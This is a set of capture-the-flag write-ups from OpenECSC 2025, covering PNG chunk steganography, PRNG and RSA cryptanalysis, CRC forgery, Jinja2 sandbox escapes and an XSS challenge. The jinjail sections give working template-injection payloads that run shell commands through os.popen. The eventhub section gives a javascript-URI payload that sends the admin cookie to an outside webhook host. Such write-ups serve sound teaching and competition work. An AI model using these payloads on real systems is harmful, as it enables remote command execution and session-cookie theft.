back to homepage

OpenECSC 2025 Writeups

yellow

by NoRelect

Dedicated this challenge to a person that I love whose favorite color is yellow :)

We are given a single file yellow.png. The length of the chunks are suspicious. We act on this suspicion and get the flag.

from png import Png

png_file = Png.from_file('/home/kjc/Downloads/yellow/yellow.png')
print(''.join(chr(c.len) for c in png_file.chunks))
# flag: openECSC{W3_4l1_l1v3_1n_4_y3ll0w_subm4r1n3}

scrambled-randomness

by Dimitris-Toulis

I wanted to use a one-time pad, but I didn't have enough randomness, so I scrambled it to create more!

We are given this:

import os
from PRNG import PRNG

flag = open('flag.txt', 'rb').read()[::-1]

prng = PRNG(os.urandom(8))
ciphertext = bytes([m ^ k for m,k in zip(flag,prng)])

open('output.txt', 'w').write(ciphertext.hex())

And the PRNG implementation:

We first need to invert the scramble function. This is not much trouble, our strategy is to step-by-step, modelling each operation on the state and inverting it. This is easy and requires little creative thinking.

import numpy as np
from z3 import *

MASK64 = (1 << 64) - 1

def clmul_z3_b(a, B):
    res = BitVecVal(0, 64)
    for i in range(64):
        bit = Extract(i, i, a)
        res = res ^ If(bit == BitVecVal(1, 1), BitVecVal(B << i, 64), BitVecVal(0, 64))
    return res & MASK64

def clmul_z3_a(A, b):
    res = BitVecVal(0, 64)
    for i in range(64):
        if (A >> i) & 1:
            res = res ^ (b << i)
    return res & MASK64

def clmul_z3(a, b):
    res = BitVecVal(0, 64)
    for i in range(64):
        bit = Extract(i, i, a)
        res = res ^ If(bit == BitVecVal(1, 1), b << i, BitVecVal(0, 64))
    return res & MASK64

def all_smt(s, initial_terms):
    def block_term(s, m, t):
        s.add(t != m.eval(t, model_completion=True))
    def fix_term(s, m, t):
        s.add(t == m.eval(t, model_completion=True))
    def all_smt_rec(terms):
        if sat == s.check():
            m = s.model()
            yield m
            for i in range(len(terms)):
                s.push()
                block_term(s, m, terms[i])
                for j in range(i):
                    fix_term(s, m, terms[j])
                yield from all_smt_rec(terms[i:])
                s.pop()
    yield from all_smt_rec(list(initial_terms))

def invert_weird_poly(target_state, coef=[0x4E1B88C5615038AE, 1, 2, 2, 3, 3, 4, 3, 4]):
    x = BitVec('x', 64)
    y = BitVec('y', 64)
    p = BitVec('p', 64)
    s = Solver()
    s.add(y == BitVecVal(coef[0], 64))

    p = clmul_z3_a(-2, x)
    y = y ^ clmul_z3_a(coef[1], p)
    for i in range(2, len(coef)):
        p = clmul_z3(~p, x)
        y = y ^ clmul_z3_a(coef[i], p)
    s.add(y == BitVecVal(target_state, 64))
    return [m[x].as_long() for m in all_smt(s, [x, y, p])]

def solve_state(state, _t_pm):
    # step 1: clmul invert
    a = BitVec('a', 64)
    s = Solver()
    s.add(clmul_z3_b(a, 0xA90FD521EEAB98D3) == BitVecVal(state, 64))
    ms = [m[a].as_long() for m in all_smt(s, [a])]
    assert len(ms) == 1
    (state,) = ms

    # step 2: weird_poly invert
    ms = invert_weird_poly(state)
    assert len(ms) == 1
    (state,) = ms

    # step 3: rotr invert
    a = BitVec('a', 64)
    s = Solver()
    s.add(
        a
        ^ RotateRight(a, 17)
        ^ RotateRight(a, 42)
        ^ RotateRight(a, 24)
        ^ RotateRight(a, 53)
        == state
    )
    ms = [m[a].as_long() for m in all_smt(s, [a])]
    assert len(ms) == 1
    (state,) = ms

    # step 4: matrix invert
    def matrix_invert(state):
        def make_scramble_matrix(n):
            ms = []
            for k in range(256):
                m = np.zeros((8, 8))

                for i in range(0, 8):
                    m[i, i] = 2 * ((n % 6) + k + 1) + 1

                for i in range(0, 8):
                    m[i, (i - 1) % 8] = 2 * ((5 - n) % 6) + 1

                for i in range(0, 8):
                    m[i, (i + 1) % 8] = -1 * (1 + 2 * (n % 4)) + 2 * k

                for i in range(0, 8):
                    m[i, n % 8] += 1 if (m[i, n % 8] == 0) else 2

                ms.append(m)
            return ms

        from sage.all import matrix, vector, Integers
        R = Integers(2**8)
        def python_to_sage_mat(R, m):
            return matrix(R, [[R(int(x)) for x in row] for row in m])
        def python_to_sage_vec(R, v):
            return vector(R, [R(int(x)) for x in v])
        def sage_to_python_vec(v):
            return [int(x) for x in v]

        state = np.array(list(map(int, state.to_bytes(8)))).astype(np.uint8)
        state = python_to_sage_vec(R, state)
        res = set()
        for k in {0, 1}:
            for m in make_scramble_matrix(_t_pm + (1 - k) * (-1)):
                m = python_to_sage_mat(R, m)
                sol = sage_to_python_vec(m.solve_right(state))
                res.add(int.from_bytes(bytes(list(sol))))
        return res
    possible = matrix_invert(state)

    # step 5: final rotr
    result = set()
    for state in possible:
        a = BitVec('a', 64)
        s = Solver()
        s.add(a ^ RotateRight(a, 7) == state)
        ms = [m[a].as_long() for m in all_smt(s, [a])]
        for m in ms:
            result.add(m)
    return result

Finally,

from state import *

x = bytes.fromhex(
    '9b46dbc7987008ee4c0e1843b7479393fdad7ef9fad259a42900b4d04a347bd0c5400726d499d0e55b670c452eb61052e8c07045205abbf3be213d2c71d0798b96c5fad52cae9a267e69376925183dcdae0a3ca03d4e8d2b' # given by problem, from output.txt
)
last_state = [a ^ b for a, b in zip(x[-8:], b'CSCEnepo')]

# first, solve for the state
v = [BitVec(f'v{i}', 8) for i in range(8)]
s = Solver()
for i in range(8):
    s.add((v[i] * 55) % 256 == last_state[i])
states = [[m[d].as_long() for d in v] for m in all_smt(s, v)]
assert len(states) == 1
last_state = int.from_bytes(bytes(states[0]))

# now, unwind
def unwind(last_state, t):
    def is_printable(s: bytes):
        for c in s:
            if not (32 <= c <= 126):
                return False
        return True

    if t <= 0:
        return [[]]

    sols = []
    for s in solve_state(last_state, t):
        key = bytes((s.to_bytes(8)[i % 8] * 55) % 256 for i in range(8))
        plaintext = bytes([a ^ b for a, b in zip(x[8 * (t - 1) : 8 * t], key)])
        if is_printable(plaintext):
            print(plaintext)
            sols += [sol + [plaintext.decode()[::-1]] for sol in unwind(s, t - 1)]
    return sols
print([''.join(sol[::-1]) for sol in unwind(last_state, 10)])
# flag: openECSC{How??_Oh_maybe_I_shouldn't_make_my_own_PRNG_1_h0p3_you_l1k3d_th15_cha113ng3!1!}

jinjail

by xtea418

pyjail but jinja sandbox?

Here is the code:

import typing

from flask import Flask, request
from jinja2.sandbox import SandboxedEnvironment

app = Flask(__file__)

env = SandboxedEnvironment()
env.globals["typing"] = typing


@app.post("/")
def render():
    content = request.form["content"]
    if "module" in content:
        return "funny (ab)user."
    # ๐Ÿ˜‡๐Ÿ˜‡๐Ÿ˜‡
    try:
        assert len(content) < 75
        return env.from_string(content).render()
    except:
        # ๐Ÿšจ๐Ÿšจ๐Ÿšจ
        return "funny (ab)user."


if __name__ == "__main__":
    app.run("0.0.0.0", 1337, debug=False)

The flag is at /flag.txt. Looking into it, a Jinja2 sandbox blocks attributes starting with an underscore and some other special ones like mro. The challenge supplies typing in the globals, so we look for attributes we can call there:

>>> list(filter(lambda x: not x.startswith('_'), typing.__dict__.keys()))
['abstractmethod', 'ABCMeta', 'collections', 'defaultdict', 'copyreg', 'functools', 'operator', 'sys', 'types', 'WrapperDescriptorType', 'MethodWrapperType', 'MethodDescriptorType', 'GenericAlias', 'TypeVar', 'ParamSpec', 'TypeVarTuple', 'ParamSpecArgs', 'ParamSpecKwargs', 'TypeAliasType', 'Generic', 'NoDefault', 'Any', 'NoReturn', 'Never', 'Self', 'LiteralString', 'ClassVar', 'Final', 'Union', 'Optional', 'Literal', 'TypeAlias', 'Concatenate', 'TypeGuard', 'TypeIs', 'ForwardRef', 'Unpack', 'EXCLUDED_ATTRIBUTES', 'Protocol', 'Annotated', 'runtime_checkable', 'cast', 'assert_type', 'get_type_hints', 'get_origin', 'get_args', 'is_typeddict', 'assert_never', 'no_type_check', 'no_type_check_decorator', 'overload', 'get_overloads', 'clear_overloads', 'final', 'T', 'KT', 'VT', 'T_co', 'V_co', 'VT_co', 'T_contra', 'CT_co', 'AnyStr', 'Hashable', 'Awaitable', 'Coroutine', 'AsyncIterable', 'AsyncIterator', 'Iterable', 'Iterator', 'Reversible', 'Sized', 'Container', 'Collection', 'Callable', 'AbstractSet', 'MutableSet', 'Mapping', 'MutableMapping', 'Sequence', 'MutableSequence', 'ByteString', 'Tuple', 'List', 'Deque', 'Set', 'FrozenSet', 'MappingView', 'KeysView', 'ItemsView', 'ValuesView', 'Dict', 'DefaultDict', 'OrderedDict', 'Counter', 'ChainMap', 'Generator', 'AsyncGenerator', 'Type', 'SupportsInt', 'SupportsFloat', 'SupportsComplex', 'SupportsBytes', 'SupportsIndex', 'SupportsAbs', 'SupportsRound', 'NamedTupleMeta', 'NamedTuple', 'TypedDict', 'Required', 'NotRequired', 'ReadOnly', 'NewType', 'Text', 'TYPE_CHECKING', 'IO', 'BinaryIO', 'TextIO', 'reveal_type', 'dataclass_transform', 'override', 'is_protocol', 'get_protocol_members']

We can access the sys module, which seems promising. The code blocks module but this is easy to get around and we can access the os module. From there, it's easy; we can run arbitrary commands. This payload works:

url = https://1d12ae61-882d-424f-9fcc-0261599d1f39.openec.sc:1337/
-d "content={{ typing.sys['mod'+'ules']['os'].popen('cat /flag.txt').read() }}"

And just like that, we get the flag.

HTTP/1.1 200 OK
Content-Length: 43
Content-Type: text/html; charset=utf-8
Date: Wed, 01 Oct 2025 13:48:45 GMT
Server: Werkzeug/3.1.3 Python/3.12.11

openECSC{l04d3r_g0_brrrrrrrr_be03fe98e1c1}

jinjail2

by xtea418

pyjail but jinja sandbox? ๐Ÿ˜‡๐Ÿ˜‡๐Ÿ˜‡

Similar to the last one, here is the code:

import typing

from flask import Flask, request
from jinja2.sandbox import SandboxedEnvironment

app = Flask(__file__)

env = SandboxedEnvironment()
env.globals["typing"] = typing


@app.post("/")
def render():
    content = request.form["content"]
    # ๐Ÿ˜‡๐Ÿ˜‡๐Ÿ˜‡
    if "sys" in content or "__" in content or len(content) > 150:
        return "funny (ab)user."
    try:
        return env.from_string(content).render()
    except:
        # ๐Ÿšจ๐Ÿšจ๐Ÿšจ
        return "funny (ab)user."


if __name__ == "__main__":
    app.run("0.0.0.0", 1337, debug=False)

But the flag filename is also random:

COPY flag.txt /flag.txt

RUN mv /flag.txt "/$(cat /dev/urandom | head -c 45 | hexdump | tr -d ' \n')_flag.txt"

This isn't a problem if we have RCE, since we can ls for the filename. Essentially the only difference from the previous challenge is that the code blocks sys, but this is easy to get around, taking in mind that Jinja2 allows us to run obj|attr('name') to dynamically access an attribute. We have this:

url = https://ce469611-7268-48fe-8fa8-888b473ce756.openec.sc:1337/
-d "content={{ (typing|attr('sy'+'s'))['mod'+'ules']['os'].popen('ls /').read() }}"

Then:

HTTP/1.1 200 OK
Content-Length: 100
Content-Type: text/html; charset=utf-8
Date: Wed, 01 Oct 2025 14:11:10 GMT
Server: Werkzeug/3.1.3 Python/3.12.11

a9d550abbb92_flag.txt
app
bin
...

And just run the payload again but with cat. The flag is:

openECSC{4tt3rg4ttr_g0_brrrrrrrr_9492f5d4b6b9}

swapped

by Dimitris-Toulis

Surely I can just swap e and d, right?

We are given:

from Crypto.Util.number import getPrime

p = getPrime(1024)
q = getPrime(1024)
if p > q:
	p, q = q, p
N = p * q

e = getPrime(500)
d = pow(e, -1, (p-1)*(q-1))
e, d = d, e

primes = [getPrime(256) for _ in range(9)]
e_residues = [e % p for p in primes]

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256

flag = open('flag.txt', 'rb').read()
key = sha256((str(p) + str(q)).encode()).digest()
ct = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, 16)).hex()

open('output.txt', 'w').write(f'''\
{N = }
{primes = }
{e_residues = }
ct = {ct}
''')

Solution code:

from hashlib import sha256
from pathlib import Path

from Crypto.Cipher import AES

exec(Path('output.txt').read_text())

def wiener(e, N):
    for f in continued_fraction(e / N).convergents():
        k, d = f.as_integer_ratio()
        if k != 0 and (e * d) % k == 1:
            phi = (e * d - 1) // k
            x = var('x', domain=ZZ)
            if sol := solve(x**2 - (N - phi + 1) * x + N, x):
                return sol

e = crt(e_residues, primes)
p, q = wiener(e, N)
p, q = min(p, q), max(p, q)
key = sha256((str(p) + str(q)).encode()).digest()
print(AES.new(key, AES.MODE_ECB).decrypt(ct))

polite-email

by dagurb

When begging for challenge hints and flags, it's good to be polite.

And we are given this script:

from fastcrc import crc32, crc64
import os

crc32s = ['autosar', 'iscsi', 'iso_hdlc']
crc64s = ['go_iso', 'xz']

def ImpossibleMAC(data: bytes, mac: int):
	for algo in crc32s:
		crc = getattr(crc32, algo)
		imac: bytes = crc(data)
		if imac != mac:
			return False

	for algo in crc64s:
		crc = getattr(crc64, algo)
		imac: bytes = crc(data)
		if imac != mac:
			return False
	
	return True


def makeEmail(sender: str, recipient: str, body: str):
	return f'''Dear {recipient}.

{body}

Best regards,
{sender}'''

def sendEmailToAuthor(sender: str, data: bytes, mac: int):
	politeEmail = makeEmail(sender, 'Challenge Author', 'Pretty please give me the flag.').encode()

	# Make sure to be polite when you ask the challenge author for the flag 
	if politeEmail not in data:
		return makeEmail('Challenge Author', sender, 'That is not very polite. As such I will not give you the flag.')

	# Careful! If the MAC is not correct, how will the author know if the message was sent correctly?
	if not ImpossibleMAC(data, mac):
		return makeEmail('Challenge Author', sender, 'Okay that was very polite, but the MAC was not correct. Can you please resend the mail?')

	return makeEmail('Challenge Author', sender, f'Sure.\nHere\'s the flag: {os.getenv("FLAG")}. But please do not tell the orga that I gave you this flag.')

if __name__ == '__main__':
	name = input('Enter name: ')
	email = bytes.fromhex(input('Enter mail: '))
	mac = int(input('Enter MAC: '))
	print(sendEmailToAuthor(name, email, mac))

I looked at the code for fastcrc, and noted that the configurations all have the same parameters except for the polynomial. Firstly, we define some helper functions to make it easier to work with.

R.<x> = GF(2)['x']

def bitstream_to_polynomial(stream: str):
    assert set(stream).issubset({'0', '1'})
    return R(list(map(int, stream))[::-1])

def i2p(n: int):
    return bitstream_to_polynomial(bin(n)[2:])
def p2i(p):
    return int(''.join(map(str, p.list()[::-1])), 2)

def b2p(data: bytes):
    return bitstream_to_polynomial(
        ''.join(bin(b)[2:].zfill(8) for b in data)
    )
def p2b(p):
    l = ceil(p.degree() / 8) * 8
    b = ''.join(map(str, p.list()[::-1])).zfill(l)
    return bytes(int(b[i:i+8], 2) for i in range(0, l, 8))

# means we reverse the bitstream bytewise.
def reflect(bs: bytes):
    return bytes(int(bin(b)[2:].zfill(8)[::-1], 2) for b in bs)

# means we reverse the bitstream.
def reflect_i32(num):
    return int(bin(num)[2:].zfill(32)[::-1], 2)
def reflect_i64(num):
    return int(bin(num)[2:].zfill(64)[::-1], 2)

# basically flipping, too lazy to implement arbitrary init
def xor(bs: bytes):
    return bytes(b^^0xff for b in bs)

Then, we model the problem in SageMath, setting up some test cases to ensure the outputs matches the outputs from the library fastcrc.

def test():
    # poly = 0x04C11DB7
    # refin = false
    # refout = false
    # init = 0xffffffff
    # xorout = 0xffffffff
    g = x**32 + i2p(0x04C11DB7)
    m = b2p(xor(b'1234') + b'56789') * x**32
    crc = p2i(m.quo_rem(g)[1]) ^^ 0xffffffff
    assert(hex(crc) == '0xfc891918')

    # poly = 0x04C11DB7
    # refin = true
    # refout = false
    # init = 0xffffffff
    # xorout = 0xffffffff
    g = x**32 + i2p(0x04C11DB7)
    m = b2p(reflect(xor(b'1234') + b'56789')) * x**32
    crc = p2i(m.quo_rem(g)[1]) ^^ 0xffffffff
    assert(hex(crc) == '0x649c2fd3')

    # poly = 0x04C11DB7
    # refin = true
    # refout = true
    # init = 0xffffffff
    # xorout = 0xffffffff
    g = x**32 + i2p(0x04C11DB7)
    m = b2p(reflect(xor(b'1234') + b'56789')) * x**32
    crc = reflect_i32(p2i(m.quo_rem(g)[1])) ^^ 0xffffffff
    assert(hex(crc) == '0xcbf43926')

    # poly = 0x000000000000001b
    # refin = true
    # refout = true
    # init = 0xffffffffffffffff
    # xorout = 0xffffffffffffffff
    g = x**64 + i2p(0x000000000000001b)
    m = b2p(reflect(xor(b'12345678'))) * x**64
    crc = reflect_i64(p2i(m.quo_rem(g)[1])) ^^ 0xffffffffffffffff
    assert (crc == 8743395034664010163)
test()

Now, we can setup a system:

$$\begin{aligned}(p_0 + m)x^{32} &= r_0 \pmod{g_0} \\ (p_0 + m)x^{32} &= r_0 \pmod{g_1} \\ (p_0 + m)x^{32} &= r_0 \pmod{g_2} \\ (p_1 + m)x^{64} &= r_1 \pmod{g_3} \\ (p_1 + m)x^{64} &= r_1 \pmod{g_4}\end{aligned}$$

Which we can reorganize:

$$\begin{aligned}m &= r_0x^{-32} - p_0 \pmod{g_0} \\ m &= r_0x^{-32} - p_0 \pmod{g_1} \\ m &= r_0x^{-32} - p_0 \pmod{g_2} \\ m &= r_1x^{-64} - p_1 \pmod{g_3} \\ m &= r_1x^{-64} - p_1 \pmod{g_4}\end{aligned}$$

In code:

def solve_prefix(PREFIX):
    p0_ = xor(PREFIX[:4]) + PREFIX[4:]
    p1_ = xor(PREFIX[:8]) + PREFIX[8:]

    p0 = b2p(reflect(p0_ + b'\x00'*32))
    p1 = b2p(reflect(p1_ + b'\x00'*32))
    r0 = i2p(0xffffffff)
    r1 = i2p(0xffffffffffffffff)
    gs = []
    rs = []
    for i, p in enumerate([0xf4acfb13, 0x1edc6f41, 0x04c11db7]):
        gs.append(x**32 + i2p(p))
        rs.append(r0 * (x**32).inverse_mod(gs[-1]) - p0)
    for i, p in enumerate([0x000000000000001b, 0x42f0e1eba9ea3693]):
        gs.append(x**64 + i2p(p))
        rs.append(r1 * (x**64).inverse_mod(gs[-1]) - p1)
    sol = crt(rs, gs)
    suffix = p2b(sol).rjust(32, b'\x00')

    for i, p in enumerate([0xf4acfb13, 0x1edc6f41, 0x04c11db7]):
        g = x**32 + i2p(p)
        m = (b2p(reflect(p0_) + suffix)) * x**32
        crc = reflect_i32(p2i(m.quo_rem(g)[1])) ^^ 0xffffffff
        print(f'crc{i} =', crc)
    for i, p in enumerate([0x000000000000001b, 0x42f0e1eba9ea3693]):
        g = x**64 + i2p(p)
        m = (b2p(reflect(p1_) + suffix)) * x**64
        crc = reflect_i64(p2i(m.quo_rem(g)[1])) ^^ 0xffffffffffffffff
        print(f'crc{i} =', crc)

    suffix = reflect(suffix)
    print('suffix:', suffix)
    print('input:', (PREFIX + suffix).hex())

solve_prefix(b'Dear Challenge Author.\n\nPretty please give me the flag.\n\nBest regards,\nkjc')

eventhub

by Aryt3

You can finally share events now! 

M-M-Maybe I can get an invite too ๐Ÿฅบ๐Ÿ‘‰๐Ÿ‘ˆ

Essentially, we have this code:

def selenium_task(url: str):
    options = Options()
    options = Options()
    options.add_argument("--headless")
    options.add_argument("--no-sandbox")
    options.add_argument("--disable-dev-shm-usage")
    service = Service("/usr/local/bin/geckodriver")  # install geckodriver via apt or wget
    driver = webdriver.Firefox(service=service, options=options)
    driver.set_page_load_timeout(10)
    try:
        driver.get("http://127.0.0.1/")
        driver.add_cookie({
            "name": "admin",
            "value": FLAG,
            "path": "/",
            "httpOnly": False,
        })
        driver.get(url)
        time.sleep(10)
    finally:
        driver.quit()

Which we can call, but only with the url parameter starting with http://127.0.0.1/. Luckily, we can post an event and create our own custom webpage on the domain.

There is a check that the protocol is in lowercase ASCII, which does nothing. We can set that to javascript and aim for a JavaScript URI to achieve XSS. We can set the path to empty string and the port to zero and ignore them. Here is the template:

{% extends "base.html" %}
{% block title %}EventHub - {{ event_name }}{% endblock %}

{% block content %}
  <h2>{{ event_name }}</h2>
  <p>Event URL: <a id="continue-link" href="{{ event_url.to_url() }}">{{ event_url.to_url() }}</a></p>

  {% if auto_redir %}
    <p>You will be redirected automatically in 3 secondsโ€ฆ</p>
    <script>
      setTimeout(() => {
        window.location = "{{ event_url.to_url() }}";
      }, 3000);
    </script>
  {% else %}
    <p><a class="button" href="{{ event_url.to_url() }}">Continue</a></p>
  {% endif %}
{% endblock %}

Now, we focus on manipulating the domain for the payload. The primary issue here is that we can't get rid of the double slash // that the class EventURL places, which the browser interprets as a JS comment. We can bypass that with %0D, a carriage return. You can also use %0A. I think there were some other issues, but I don't remember; I iteratively tested payloads until this one finally worked:

url = https://e38d22f5-1e2e-4ef4-9702-e73284eed2d1.openec.sc:1337/event
-d "name=test2&protocol=javascript&domain=%250Deval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly93ZWJob29rLnNpdGUvOGE2NTg4NDQtM2UyNy00ODk2LWI0N2EtZjc4NmZkMTg1MTg0P2Nvb2tpZT0ke2RvY3VtZW50LmNvb2tpZX1gCg==`))&port=0&path="

Now we just report the url http://127.0.0.1/event/51?auto_redir=True. After 20 seconds, in our webhook, we see:

https://webhook.site/8a658844-3e27-4896-b47a-f786fd185184?cookie=admin=openECSC{i_hate_browser_differentials_%F0%9F%A4%AE_4d8e15a9044b}

# flag to submit is: openECSC{i_hate_browser_differentials_๐Ÿคฎ_4d8e15a9044b}

jinjail-revenge

by xtea418

pyjail but jinja sandbox? (minus cheese ๐Ÿ™)

This is the exact same as the previous jinjail challenge, except it's packaged through a Flask instance and we need to POST the payload.

url = https://13b2710c-3474-4319-82c7-412383f6de3e.openec.sc:1337/
-d "content={{ typing.sys['mod'+'ules']['os'].popen('cat /flag.txt').read() }}"

Where we get,

HTTP/1.1 200 OK
Content-Length: 62
Content-Type: text/html; charset=utf-8
Date: Thu, 02 Oct 2025 23:33:53 GMT
Server: Werkzeug/3.1.3 Python/3.13.7

openECSC{th1s_t1m3_l04d3r_4ctu4lly_g0_brrrrrrrr_5bbe72402d30}

jinjail2-revenge

by xtea418

pyjail but jinja sandbox? ๐Ÿ˜‡๐Ÿ˜‡๐Ÿ˜‡ (minus cheese ๐Ÿ™)

Again, this is the exact same as the previous jinjail2 challenge, except it's packaged through a Flask instance and we need to POST the payload.